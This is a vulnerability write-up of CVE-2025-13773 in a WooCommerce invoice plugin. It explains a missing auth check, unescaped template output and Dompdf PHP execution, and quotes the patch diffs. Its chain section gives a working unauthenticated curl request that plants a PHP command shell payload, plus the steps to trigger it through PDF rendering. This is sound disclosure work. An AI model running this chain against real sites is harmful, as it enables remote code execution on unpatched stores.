The first flag: admin_init runs before the auth check
wp-admin/admin-post.php is one of two endpoints in a stock WordPress install that an unauthenticated POST request can reach without being redirected to the login page. The other is wp-admin/admin-ajax.php. Loading either file runs wp-load.php, sets WP_ADMIN, and reaches do_action( 'admin_init' ) before any check on the caller's identity. The admin_init hook is the firing pin for any function registered against it. WordPress core does not treat admin_init as a privileged callback registry; the contract is that handlers attached here run when these files load, and these files load for any visitor.
Print Invoice & Delivery Notes for WooCommerce 5.8.0 registers its settings-form handler against this hook. From includes/class-woocommerce-delivery-notes.php line 347:
add_action( 'admin_init', array( $this, 'update' ) );
The handler is WooCommerce_Delivery_Notes::update. The 5.8.0 implementation opens with no capability check and no nonce verification. It seeds option defaults, processes a logo upload, then reaches $_POST and starts writing:
if ( isset( $_POST['invoice'] ) && ! empty( $_POST['invoice'] ) ) {
update_option( 'wcdn_invoice_customization', $_POST['invoice'] );
}
if ( isset( $_POST['receipt'] ) && ! empty( $_POST['receipt'] ) ) {
update_option( 'wcdn_receipt_customization', $_POST['receipt'] );
}
if ( isset( $_POST['deliverynote'] ) && ! empty( $_POST['deliverynote'] ) ) {
update_option( 'wcdn_deliverynote_customization', $_POST['deliverynote'] );
}
There is no current_user_can on this code path. There is no wp_verify_nonce. The function reads $_POST['invoice'], an arbitrary attacker-supplied nested array, and persists it into the WordPress options table under the key wcdn_invoice_customization. The patch for CVE-2025-13773 adds four guards at the top of update():
public function update() {
+ // Admin Permission check.
+ if ( ! is_admin() ) {
+ return;
+ }
+ if ( ! current_user_can( 'manage_options' ) ) {
+ return;
+ }
+ if ( ! isset( $_POST['wcdn_general_settings_nonce'] ) ) {
+ return;
+ }
+ $nonce = sanitize_text_field( wp_unslash( $_POST['wcdn_general_settings_nonce'] ) );
+ if ( ! wp_verify_nonce( $nonce, 'wcdn_general_settings_action' ) ) {
+ return;
+ }
Four checks. The load-bearing one is current_user_can( 'manage_options' ). The other three are defense in depth. None of the four existed before the patch.
The second flag: the linter said esc_attr, ninety-nine times
The option wcdn_invoice_customization is read by templates/pdf/simple/invoice/template.php at line 19:
<?php $data = get_option( 'wcdn_invoice_customization' ); ?>
$data is now whatever the attacker POSTed. The template builds an inline style attribute by string concatenation, then echoes the result into the HTML the renderer parses. The relevant block at line 35:
if ( isset( $data['document_setting']['active'] ) ) {
$style = 'font-size:' . $data['document_setting']['document_setting_font_size']
. 'px; text-align:' . $data['document_setting']['document_setting_text_align']
. '; color:' . $data['document_setting']['document_setting_text_colour'] . ';';
?>
<div class="document-name cap">
<h1 style="<?php echo $style; // phpcs:ignore ?>">
echo $style with no esc_attr. The trailing comment, // phpcs:ignore, is a directive to the WordPress Coding Standards static analyzer. The default WPCS ruleset includes WordPress.Security.EscapeOutput, which fires on exactly this construct: a raw echo of an externally-sourced string into an HTML context. The bare-directive form, // phpcs:ignore with no rule name, is a wildcard. It silences every WPCS rule that would otherwise emit on the line.
A grep across the templates that ship in 5.8.0:
templates/pdf/simple/invoice/template.php:16
templates/pdf/simple/receipt/template.php:16
templates/pdf/simple/deliverynote/template.php:16
templates/print-order/simple/invoice/print-content.php:16
templates/print-order/simple/receipt/print-content.php:16
templates/print-order/simple/deliverynote/print-content.php:16
templates/pdf/default/invoice/template.php:1
templates/pdf/default/receipt/template.php:1
templates/pdf/default/deliverynote/template.php:1
Ninety-nine directives. Each one silences whatever WPCS was about to say on a line that echoes attacker-reachable option data into HTML. The 5.9.0 patch walks every one of them, wraps the echoed value in esc_attr, and leaves the directive in place:
-<h1 style="<?php echo $style; // phpcs:ignore ?>">
+<h1 style="<?php echo esc_attr( $style ); // phpcs:ignore ?>">
The phpcs:ignore is now functionally redundant because esc_attr is the call WPCS was asking for. The directive stays in the patched file. The codebase is now consistent with the analyzer's recommendation and is still carrying ninety-nine artifacts of the period when it wasn't.
The third flag: Dompdf, PHP execution enabled, by choice
The PDF renderer the templates feed is Dompdf, vendored at includes/front/vendor/dompdf/dompdf/. Dompdf's Options class declares a property called isPhpEnabled at line 184 of src/Options.php:
private $isPhpEnabled = false;
The default is false. The lines immediately above the property are Dompdf's own documentation of why:
/**
* ...
* This setting may increase the risk of system exploit. Do not change
* this settings without understanding the consequences. Additional
* documentation is available on the dompdf wiki at:
* https://github.com/dompdf/dompdf/wiki
*/
The Dompdf comment block on the next property, isRemoteEnabled, is more explicit. Line 192 onward:
/**
* ==== IMPORTANT ====
* This can be a security risk, in particular in combination with isPhpEnabled and
* allowing remote html code to be passed to $dompdf = new DOMPDF(); $dompdf->load_html(...);
* This allows anonymous users to download legally doubtful internet content which on
* tracing back appears to being downloaded by your server, or allows malicious php code
* in remote html pages to be executed by your server with your account privileges.
*/
The text reads as if it were written for this CVE specifically. The combination it warns against, isPhpEnabled with isRemoteEnabled and attacker-controlled HTML passed to loadHtml, is the combination the plugin instantiates. The warning ships inside the plugin's own filesystem at includes/front/vendor/dompdf/dompdf/src/Options.php, the same tree as the code that opts in.
The opt-in is wcdn-front-function.php line 30:
function create_pdf( $order, $type ) {
$order_id = $order->get_id();
$options = new \Dompdf\Options();
$options->set( 'isRemoteEnabled', true );
$options->set( 'isPhpEnabled', true );
$dompdf = new Dompdf( $options );
// ...
$dompdf->loadHtml( $html );
$dompdf->setPaper( 'A4', 'potrait' );
$dompdf->render();
Three configuration lines, in this order: instantiate Options, set isRemoteEnabled to true, set isPhpEnabled to true. Each one moves a Dompdf default from safe to unsafe. The two flips together are the pair the Dompdf comment block names by hand.
What happens when both are set and the document contains a <?php ... ?> node is PhpEvaluator.php line 52:
public function evaluate($code, $vars = [])
{
if (!$this->_canvas->get_dompdf()->getOptions()->getIsPhpEnabled()) {
return;
}
$pdf = $this->_canvas;
$fontMetrics = $pdf->get_dompdf()->getFontMetrics();
$PAGE_NUM = $pdf->get_page_number();
$PAGE_COUNT = $pdf->get_page_count();
foreach ($vars as $k => $v) {
$$k = $v;
}
eval($code);
}
The function checks one option. If the option is true, it calls eval on the node's text. The plugin set the option to true.
The patch for CVE-2025-13773 changes one character on the third line of create_pdf:
$options = new \Dompdf\Options();
$options->set( 'isRemoteEnabled', true );
-$options->set( 'isPhpEnabled', true );
+$options->set( 'isPhpEnabled', false );
isRemoteEnabled stays true. The Dompdf comment block warning about the combination still ships, in the same file, in the same vendored directory.
The chain in two requests
The shortest path from the public homepage to eval() on the server is two HTTP requests.
Request one writes the payload into the database:
curl -s -X POST 'https://target.example/wp-admin/admin-post.php' \
--data-urlencode 'action=anything' \
--data-urlencode 'invoice[document_setting][active]=1' \
--data-urlencode 'invoice[document_setting][document_setting_font_size]=14;}</style><?php system($_GET["c"]); ?><style>{' \
--data-urlencode 'invoice[document_setting][document_setting_text_align]=left' \
--data-urlencode 'invoice[document_setting][document_setting_text_colour]=#000'
The visitor receives a 403 because admin-post.php has no dispatch handler for action=anything. admin_init has already fired by the time the 403 is computed. WooCommerce_Delivery_Notes::update has read $_POST['invoice'] and called update_option( 'wcdn_invoice_customization', ... ). The option now contains the attacker's payload, including the <?php ... ?> tag inside the document_setting_font_size field.
Request two triggers PDF rendering. The plugin's Print Invoice button on the WooCommerce order-received page calls create_pdf for the order's invoice. A guest checkout, an open store with default settings, and the link emailed on order confirmation are sufficient to reach this path without authentication. create_pdf instantiates Dompdf with isPhpEnabled=true, includes templates/pdf/simple/invoice/template.php, and the template echoes the attacker's document_setting_font_size into the <h1 style="..."> attribute. The payload escapes the style attribute, closes the <style> context, opens a <?php ... ?> tag, and reopens the style. Dompdf parses the resulting HTML. The PHP node dispatches to PhpEvaluator::render, which calls evaluate, which checks getIsPhpEnabled(), which returns true, which calls eval( 'system($_GET["c"]);' ).
The visitor's next request reads the rendered file with ?c= set to any shell command. The output of that command lands inside the PDF where the <h1> would have been. The chain is complete.
Three tools warning, ninety-nine times each
Each of the three errors was a configuration the plugin chose against the recommendation of a tool that ships alongside the code.
The admin_init footgun has been documented in WordPress security guidance since at least 2014. Handlers attached to this hook run on every admin-area URL, including the two unauth-callable ones, and must therefore include their own auth checks. The plugin did not include the checks until 5.9.0.
The phpcs:ignore directive is the WPCS-ruleset way of telling a developer the line they just wrote will echo unescaped output into HTML. The plugin's response was to add the suppression and ship the line. The pattern this exhibits is Todo That Shipped in its suppression-directive variant. The catalog's canonical exhibit is CVE-2026-6145 on User Registration, where the phpcs:ignore directive at least named the rule it was silencing (WordPress.Security.NonceVerification.Recommended) and where the named rule was the exact security control the function lacked. Print Invoice & Delivery Notes takes the same shape one step further. Ninety-nine bare phpcs:ignore directives, no rule name on any of them, every one of them on a line that echoes attacker-reachable option data. The patch is the codebase finally writing the call WPCS had been suggesting for ninety-nine lines, with the suppression directives kept in place as a trail.
The Dompdf documentation describes isPhpEnabled as a setting that "may increase the risk of system exploit" and defaults it to false. The plugin set it to true. The Dompdf comment block on isRemoteEnabled, three properties down in the same file, calls out by name the exact combination the plugin chose: isPhpEnabled with isRemoteEnabled and attacker-controlled HTML passed to loadHtml. The warning ships in the vendored Dompdf source. The plugin instantiated the combination anyway.
The other pattern this exhibits is Content Is Command. The plugin's user-visible feature is invoice customization, fonts and colors and text alignment. The attacker's vector is the same feature. document_setting_font_size is treated as a CSS dimension by the template author, as raw HTML by the echo, and as a PHP source string by Dompdf. The three interpreters in the chain disagree about what the field is. The plugin shipped the disagreement.
PoC: projectdiscovery/nuclei-templates. The template is version-detection only; the exploit chain is reconstructed above from the patched source diff.
The defaults were the fix. The patch is the plugin walking back to them.